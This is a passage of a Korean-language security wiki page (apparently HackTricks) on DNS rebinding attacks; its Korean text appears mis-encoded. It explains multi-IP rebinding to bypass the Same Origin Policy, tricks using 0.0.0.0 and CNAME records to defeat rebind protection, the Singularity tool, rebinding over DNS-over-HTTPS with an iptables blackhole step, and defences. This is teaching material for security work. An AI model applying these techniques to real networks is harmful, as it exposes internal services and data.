์บ์‹ฑ ๋ฐฉ์–ด๋ฅผ ์šฐํšŒํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์€ ๋™์ผํ•œ ์„œ๋ธŒ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด ์—ฌ๋Ÿฌ IP ์ฃผ์†Œ๋ฅผ DNS ์ œ๊ณต์ž์— ์„ค์ •ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋™์ž‘ ๋ฐฉ์‹์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. ๊ณต๊ฒฉ์ž๋Š” DNS ์ œ๊ณต์ž์— ๋™์ผํ•œ ์„œ๋ธŒ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด ๋‘ ๊ฐœ์˜ A ๋ ˆ์ฝ”๋“œ(๋˜๋Š” ๋‘ IP๋ฅผ ๊ฐ€์ง„ ๋‹จ์ผ A ๋ ˆ์ฝ”๋“œ)๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
  2. ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ด ๋ ˆ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•˜๋ฉด ๋‘ IP ์ฃผ์†Œ๋ฅผ ๋ชจ๋‘ ๋ฐ›์Šต๋‹ˆ๋‹ค.
  3. ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋จผ์ € ๊ณต๊ฒฉ์ž IP๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ๋กœ ๊ฒฐ์ •ํ•˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ๋™์ผ ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด HTTP ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  4. ๊ทธ๋Ÿฌ๋‚˜ ๊ณต๊ฒฉ์ž๊ฐ€ ํ”ผํ•ด์ž์˜ IP๋ฅผ ํš๋“ํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๋” ์ด์ƒ ํ”ผํ•ด์ž์˜ ๋ธŒ๋ผ์šฐ์ €์— ์‘๋‹ตํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  5. ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋„๋ฉ”์ธ์ด ์‘๋‹ตํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์„ ์ธ์ง€ํ•˜๋ฉด ๋‘ ๋ฒˆ์งธ๋กœ ์ œ๊ณต๋œ IP ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.
  6. ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋‘ ๋ฒˆ์งธ IP์— ์ ‘๊ทผํ•จ์œผ๋กœ์จ Same Origin Policy(SOP)๋ฅผ ์šฐํšŒํ•˜๊ฒŒ ๋˜๊ณ , ๊ณต๊ฒฉ์ž๋Š” ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ยท์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ธฐ๋ฒ•์€ ๋™์ผ ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด ์—ฌ๋Ÿฌ IP๊ฐ€ ์ œ๊ณต๋  ๋•Œ ๋ธŒ๋ผ์šฐ์ €์˜ ํ–‰๋™์„ ์ด์šฉํ•ฉ๋‹ˆ๋‹ค. ์‘๋‹ต์„ ์ „๋žต์ ์œผ๋กœ ํ†ต์ œํ•˜๊ณ  ๋ธŒ๋ผ์šฐ์ €์˜ IP ์„ ํƒ์„ ์กฐ์ž‘ํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” SOP๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Warning

Note that in order to access localhost you should try to rebind 127.0.0.1 in Windows and 0.0.0.0 in linux.
Providers such as godaddy or cloudflare didnโ€™t allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them โ€œ0.0.0.0โ€

์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”: https://unit42.paloaltonetworks.com/dns-rebinding/

๊ธฐํƒ€ ์ผ๋ฐ˜์ ์ธ ์šฐํšŒ

  • ๋‚ด๋ถ€ IP๊ฐ€ ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, 0.0.0.0๋ฅผ ๊ธˆ์ง€ํ•˜๋Š” ๊ฒƒ์„ ๊นœ๋นกํ–ˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (Linux ๋ฐ Mac์—์„œ ๋™์ž‘).
  • ๋‚ด๋ถ€ IP๊ฐ€ ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, ์‘๋‹ต์œผ๋กœ localhost๋กœ ๊ฐ€๋ฆฌํ‚ค๋Š” CNAME์„ ๋ฐ˜ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (Linux ๋ฐ Mac์—์„œ ๋™์ž‘).
  • DNS ์‘๋‹ต์œผ๋กœ ๋‚ด๋ถ€ IP๊ฐ€ ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, www.corporate.internal ๊ฐ™์€ ๋‚ด๋ถ€ ์„œ๋น„์Šค๋กœ์˜ CNAME์„ ๋ฐ˜ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฌด๊ธฐํ™”๋œ DNS Rebidding

์•ž์„œ ์„ค๋ช…ํ•œ ์šฐํšŒ ๊ธฐ๋ฒ•๊ณผ ๋‹ค์Œ ๋„๊ตฌ ์‚ฌ์šฉ ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ Gerald Doussot์˜ ๊ฐ•์—ฐ Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

Singularity of Origin๋Š” DNS rebinding ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ์—๋Š” ๊ณต๊ฒฉ์ž ์„œ๋ฒ„ DNS ์ด๋ฆ„์˜ IP๋ฅผ ๋Œ€์ƒ ๋จธ์‹ ์˜ IP๋กœ ์žฌ๋ฐ”์ธ๋”ฉํ•˜๊ณ  ๋Œ€์ƒ ๋จธ์‹ ์˜ ์ทจ์•ฝํ•œ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ์•…์šฉํ•  ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ๊ตฌ์„ฑ ์š”์†Œ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH๋Š” ๋‹จ์ˆœํžˆ ๊ณ ์ „์ ์ธ RFC1035 DNS wire ํฌ๋งท์„ HTTPS ์•ˆ์— ํ„ฐ๋„๋งํ•ฉ๋‹ˆ๋‹ค(์ผ๋ฐ˜์ ์œผ๋กœ Content-Type: application/dns-message์ธ POST). ๋ฆฌ์กธ๋ฒ„๋Š” ์—ฌ์ „ํžˆ ๋™์ผํ•œ ๋ฆฌ์†Œ์Šค ๋ ˆ์ฝ”๋“œ๋กœ ์‘๋‹ตํ•˜๋ฏ€๋กœ, ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๊ณต๊ฒฉ์ž ์ œ์–ด ํ˜ธ์ŠคํŠธ๋ช…์„ TLS๋ฅผ ํ†ตํ•ด ํ•ด์„ํ•˜๋”๋ผ๋„ SOP๋ฅผ ๊นจ๋Š” ๊ธฐ๋ฒ•์€ ๊ณ„์† ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

์ฃผ์š” ๊ด€์ฐฐ์‚ฌํ•ญ

  • Chrome(Windows/macOS)๊ณผ Firefox(Linux)์€ Cloudflare, Google, OpenDNS DoH ๋ฆฌ์กธ๋ฒ„๋กœ ๊ตฌ์„ฑํ–ˆ์„ ๋•Œ ์žฌ๋ฐ”์ธ๋”ฉ์— ์„ฑ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ „์†ก ์•”ํ˜ธํ™”๋Š” first-then-second, multiple-answers, ๋˜๋Š” DNS cache flooding ์ „๋žต์—์„œ ๊ณต๊ฒฉ ํ๋ฆ„์„ ์ง€์—ฐ์‹œํ‚ค๊ฑฐ๋‚˜ ์ฐจ๋‹จํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • ๊ณต๊ฐœ ๋ฆฌ์กธ๋ฒ„๋Š” ์—ฌ์ „ํžˆ ๋ชจ๋“  ์ฟผ๋ฆฌ๋ฅผ ๋ณด์ง€๋งŒ, ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋”ฐ๋ผ์•ผ ํ•˜๋Š” ํ˜ธ์ŠคํŠธ-ํˆฌ-IP ๋งคํ•‘์„ ๊ฐ•์ œํ•˜๋Š” ๊ฒฝ์šฐ๋Š” ๋“œ๋ญ…๋‹ˆ๋‹ค. ๊ถŒํ•œ ์„œ๋ฒ„๊ฐ€ ์žฌ๋ฐ”์ธ๋”ฉ ์‹œํ€€์Šค๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๋Š” ์ƒˆ๋กœ์šด IP์— ์—ฐ๊ฒฐํ•˜๋ฉด์„œ๋„ ์›๋ž˜์˜ origin ํŠœํ”Œ์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.

Singularity ์ „๋žต๊ณผ DoH์ƒ์˜ ํƒ€์ด๋ฐ

  • First-then-second๋Š” ์—ฌ์ „ํžˆ ๊ฐ€์žฅ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์˜ต์…˜์ž…๋‹ˆ๋‹ค: ์ฒซ ์กฐํšŒ๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๊ณต๊ฒฉ์ž IP๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ณ , ์ดํ›„์˜ ๋ชจ๋“  ์กฐํšŒ๋Š” ๋‚ด๋ถ€/localhost IP๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ๋ธŒ๋ผ์šฐ์ € DNS ์บ์‹œ์—์„œ๋Š” ์ด ์ „ํ™˜์ด ~40โ€“60์ดˆ ๋‚ด์— ์ผ์–ด๋‚ฉ๋‹ˆ๋‹ค(์žฌ๊ท€ ๋ฆฌ์กธ๋ฒ„๊ฐ€ HTTPS๋กœ๋งŒ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ์—๋„).
  • **Multiple answers (fast rebinding)**๋Š” ๋‘ ๊ฐœ์˜ A ๋ ˆ์ฝ”๋“œ(๊ณต๊ฒฉ์ž IP + Linux/macOS์˜ 0.0.0.0 ๋˜๋Š” Windows์˜ 127.0.0.1)๋กœ ์‘๋‹ตํ•˜๊ณ  ์ฒซ ๋ฒˆ์งธ IP๋ฅผ ํ”„๋กœ๊ทธ๋žจ์ ์œผ๋กœ ๋ธ”๋ž™ํ™€(์˜ˆ: iptables -I OUTPUT -d <attacker_ip> -j DROP) ์ฒ˜๋ฆฌํ•˜๋ฉด <3์ดˆ ๋‚ด์— localhost์— ๋„๋‹ฌํ•ฉ๋‹ˆ๋‹ค. Firefox์˜ DoH ๊ตฌํ˜„์€ ๋ฐ˜๋ณต์ ์ธ DNS ์ฟผ๋ฆฌ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ Singularity์˜ ์ˆ˜์ • ๋ฐฉ๋ฒ•์€ ํƒ€์ด๋จธ๋ฅผ ๋งค ์ฟผ๋ฆฌ๋งˆ๋‹ค ๊ฐฑ์‹ ํ•˜๋Š” ๋Œ€์‹  ์ฒซ ๋ฒˆ์งธ ์ฟผ๋ฆฌ ํƒ€์ž„์Šคํƒฌํ”„์— ์ƒ๋Œ€์ ์œผ๋กœ ๋ฐฉํ™”๋ฒฝ ๊ทœ์น™์„ ์Šค์ผ€์ค„ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

DoH ์ œ๊ณต์ž์˜ โ€œrebind protectionโ€์„ ๋ฌด๋ ฅํ™”ํ•˜๊ธฐ

  • ์ผ๋ถ€ ์ œ๊ณต์ž(์˜ˆ: NextDNS)๋Š” private/loopback ์‘๋‹ต์„ 0.0.0.0์œผ๋กœ ๋Œ€์ฒดํ•˜์ง€๋งŒ, Linux์™€ macOS๋Š” ํ•ด๋‹น ๋ชฉ์ ์ง€๋ฅผ ๋กœ์ปฌ ์„œ๋น„์Šค๋กœ ๋ผ์šฐํŒ…ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋‘ ๋ฒˆ์งธ ๋ ˆ์ฝ”๋“œ๋กœ ์˜๋„์ ์œผ๋กœ 0.0.0.0์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด ์—ฌ์ „ํžˆ origin์„ localhost๋กœ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ง์ ‘์ ์ธ A/AAAA ์‘๋‹ต๋งŒ ํ•„ํ„ฐ๋งํ•˜๋Š” ๊ฒƒ์€ ๋น„ํšจ๊ณผ์ ์ž…๋‹ˆ๋‹ค: ๋‚ด๋ถ€ ์ „์šฉ ํ˜ธ์ŠคํŠธ๋ช…์œผ๋กœ์˜ CNAME์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด ๊ณต๊ฐœ DoH ๋ฆฌ์กธ๋ฒ„๊ฐ€ ๋ณ„์นญ์„ ์ „๋‹ฌํ•˜๊ณ  Firefox ๊ฐ™์€ ๋ธŒ๋ผ์šฐ์ €๋Š” ๋‚ด๋ถ€ ์กด์— ๋Œ€ํ•ด ์‹œ์Šคํ…œ DNS๋กœ ํด๋ฐฑํ•˜์—ฌ ์—ฌ์ „ํžˆ ๋‚ด๋ถ€ IP๋กœ ํ•ด์„์„ ์™„๋ฃŒํ•˜๋ฉฐ ๊ณต๊ฒฉ์ž origin์œผ๋กœ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค.

๋ธŒ๋ผ์šฐ์ €๋ณ„ DoH ๋™์ž‘

  • Firefox DoH๋Š” ํด๋ฐฑ ๋ชจ๋“œ๋กœ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค: DoH ์‹คํŒจ(ํ•ด๊ฒฐ๋˜์ง€ ์•Š๋Š” CNAME ๋Œ€์ƒ ํฌํ•จ)๋Š” OS ๋ฆฌ์กธ๋ฒ„๋ฅผ ํ†ตํ•œ ํ‰๋ฌธ ์กฐํšŒ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๋ฉฐ, ์ด๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋‚ด๋ถ€ ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ์•„๋Š” ์—”ํ„ฐํ”„๋ผ์ด์ฆˆ DNS ์„œ๋ฒ„์ž…๋‹ˆ๋‹ค. ์ด ๋™์ž‘์€ CNAME ์šฐํšŒ๊ฐ€ ๊ธฐ์—… ๋„คํŠธ์›Œํฌ ๋‚ด๋ถ€์—์„œ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋งŒ๋“œ๋Š” ์ด์œ ์ž…๋‹ˆ๋‹ค.
  • Chrome DoH๋Š” OS DNS๊ฐ€ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ์— ๋“ฑ๋ก๋œ DoH ์ง€์› ์žฌ๊ท€ ๋ฆฌ์กธ๋ฒ„(Cloudflare, Google, Quad9 ๋“ฑ)๋ฅผ ๊ฐ€๋ฆฌํ‚ฌ ๋•Œ๋งŒ ํ™œ์„ฑํ™”๋˜๋ฉฐ ๋™์ผํ•œ ํด๋ฐฑ ์ฒด์ธ์„ ์ œ๊ณตํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋‚ด๋ถ€ํ˜ธ์ŠคํŠธ๋ช…์€ ๊ธฐ์—… DNS์—๋งŒ ์กด์žฌํ•˜๋ฉด ํ•ด๊ฒฐ๋˜์ง€ ์•Š์ง€๋งŒ, localhost๋‚˜ ๋ผ์šฐํŒ… ๊ฐ€๋Šฅํ•œ ์ฃผ์†Œ๋กœ์˜ ์žฌ๋ฐ”์ธ๋”ฉ์€ ์‘๋‹ต ์„ธํŠธ๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์™„์ „ํžˆ ์ œ์–ดํ•˜๋ฏ€๋กœ ์—ฌ์ „ํžˆ ์„ฑ๊ณตํ•ฉ๋‹ˆ๋‹ค.

DoH ํ๋ฆ„ ํ…Œ์ŠคํŠธ ๋ฐ ๋ชจ๋‹ˆํ„ฐ๋ง

  • Firefox: Settings โžœ Network Settings โžœ Enable DNS over HTTPS์—์„œ DoH ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ง€์ •ํ•˜์„ธ์š”(Cloudflare์™€ NextDNS๊ฐ€ ๋‚ด์žฅ๋˜์–ด ์žˆ์Œ). Chrome/Chromium: chrome://flags/#dns-over-https๋ฅผ ํ™œ์„ฑํ™”ํ•˜๊ณ  OS DNS ์„œ๋ฒ„๋ฅผ Chrome์ด ์ง€์›ํ•˜๋Š” ๋ฆฌ์กธ๋ฒ„(์˜ˆ: 1.1.1.1/1.0.0.1)๋กœ ๊ตฌ์„ฑํ•˜์„ธ์š”.
  • ๊ณต๊ฐœ DoH API๋ฅผ ์ง์ ‘ ์ฟผ๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ: curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq๋กœ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์บ์‹œํ•  ์ •ํ™•ํ•œ ๋ ˆ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
  • DoH๋Š” ๋‹จ์ˆœํžˆ HTTPS์ด๊ธฐ ๋•Œ๋ฌธ์— Burp/ZAP๋กœ ์ธํ„ฐ์…‰ํŠธํ•˜๋Š” ๊ฒƒ๋„ ์—ฌ์ „ํžˆ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค(๋ณธ๋ฌธ์— ๋ฐ”์ด๋„ˆ๋ฆฌ DNS ํŽ˜์ด๋กœ๋“œ). ํŒจํ‚ท ์ˆ˜์ค€ ๊ฒ€์‚ฌ์—๋Š” ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— TLS ํ‚ค๋ฅผ ๋‚ด๋ณด๋‚ด์„ธ์š”(export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) ๊ทธ๋ฆฌ๊ณ  Wireshark๋กœ DoH ์„ธ์…˜์„ ํ•ด๋…ํ•œ ๋’ค dns ๋””์Šคํ”Œ๋ ˆ์ด ํ•„ํ„ฐ๋กœ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ DoH์— ๋จธ๋ฌด๋ฅด๋Š”์ง€ ํ‰๋ฌธ DNS๋กœ ํด๋ฐฑํ•˜๋Š”์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

DNS Rebinding์— ๋Œ€ํ•œ ์‹ค์ œ ๋ฐฉ์–ด

  • ๋‚ด๋ถ€ ์„œ๋น„์Šค์— TLS ์‚ฌ์šฉ
  • ๋ฐ์ดํ„ฐ ์ ‘๊ทผ์— ์ธ์ฆ ์š”๊ตฌ
  • Host ํ—ค๋” ๊ฒ€์ฆ
  • https://wicg.github.io/private-network-access/: ๊ณต๊ฐœ ์„œ๋ฒ„๊ฐ€ ๋‚ด๋ถ€ ์„œ๋ฒ„์— ์ ‘๊ทผํ•  ๋•Œ ํ•ญ์ƒ pre-flight ์š”์ฒญ์„ ์ „์†กํ•˜๋„๋ก ํ•˜๋Š” ์ œ์•ˆ

๋„๊ตฌ

CORS ์ •์ฑ…์˜ ๊ฐ€๋Šฅํ•œ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ๋“ค์„ ํผ์ฆˆ(Fuzz)ํ•˜์„ธ์š”

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ